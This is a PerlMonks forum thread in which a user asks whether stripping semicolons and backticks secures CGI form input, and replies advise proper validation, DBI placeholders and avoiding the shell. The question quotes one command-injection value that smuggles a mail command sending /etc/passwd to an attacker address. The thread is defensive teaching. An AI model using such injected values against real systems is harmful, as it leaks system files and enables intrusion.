Anonymous Monk has asked for the wisdom of the Perl Monks concerning the following question:

I've been reading up on security for cgi scripts, and completely understand and agree with the requirement for caution. However I have several form fields where the input could be pretty much anything, and all the examples of evil wrongdoing seem to be based upon insertion of line ends ; and back ticks. For example, entering an unchecked email address as: nobody@nowhere.com; mail badguys@hell.org</etc/passwd;

In instances where one input possibilities are extremely broad, is it safe simply to strip out semi colons and backticks, and if not, why not?

Replies are listed 'Best First'.
Re: line ends,, backticks and perl security
by Bob9000 (Scribe) on Jun 04, 2006 at 09:37 UTC

    No. Performing arbitrary transformations on your input serves no purpose but to mangle the data.

    If you think the input was wrong (unintentionally) but salvageable, parse it and reconstruct a clean version. If the input is completely invalid, reject it with an error message. If your script can't be expected to fully validate the input, reject obvious errors and accept the rest unmodified. Don't worry about metacharacters unless you're sure they can't occur in a valid input.

    Regardless of what you do on input, always always ALWAYS encode your output so that whatever you're passing it to will receive it perfectly intact. Whenever possible, use interfaces that don't require encoding (e.g. the multi-argument forms of system and exec, the four-argument form of piped open, and replaced values in DBI). The only unsafe data is data that is improperly handled.

Re: line ends,, backticks and perl security
by Polonius (Friar) on Jun 04, 2006 at 11:00 UTC

    What are you going to do with the data? If you have a field that you want to contain only an email address, then validate it using something like Email::Valid or Class::CGI::Email::Valid. If you want to search an arbitrary block of text for email addresses, consider Email::Find. If you have an arbitrary block of text you want to write to a database using DBI, use placeholders.

    Polonius
Re: line ends,, backticks and perl security
by graff (Chancellor) on Jun 04, 2006 at 14:24 UTC
Re: line ends,, backticks and perl security
by sgifford (Prior) on Jun 04, 2006 at 22:56 UTC
    The user input is going to be passed to the shell, I take it? It's certainly not safe to just escape semicolons and backticks. An ampersand has about the same effect as a semicolon, for example, and a pipe character will also cause another program to be launched. So is it safe to escape semicolons, backticks, ampersands, and pipes? Maybe; to know for sure you'd have to become an expert on a wide variety of shells and how they're launched from within perl, make sure none of the characters that effect the shell on any platform your script might run under are escaped, and bet the security of your application on your expertise being flawless. In Perl's spirit of laziness, that's probably not the best possible approach. :-)

    Depending on what you want to do, there could be other options. If you use the multi-argument form of system or exec, shell characters aren't processed, so that's pretty safe. quotemeta is a fairly safe approach, too.

    Of course, if you're not passing this data as arguments to a shell command, the rules are entirely different; whether they're easier or harder to work with depends on what you're doing with the data.

Re: line ends,, backticks and perl security
by girarde (Hermit) on Jun 05, 2006 at 21:38 UTC
    When you say "could be pretty much anything", do you mean that reasonable submisisons could contain all the nasty stuff, or just that you don't know what the users will type?

    If the former, keep it away from the shell. For that matter, keep it away from exec and system, too.

    If the latter, don't allow it. And still keep it away from the shell, and exec and system. :-)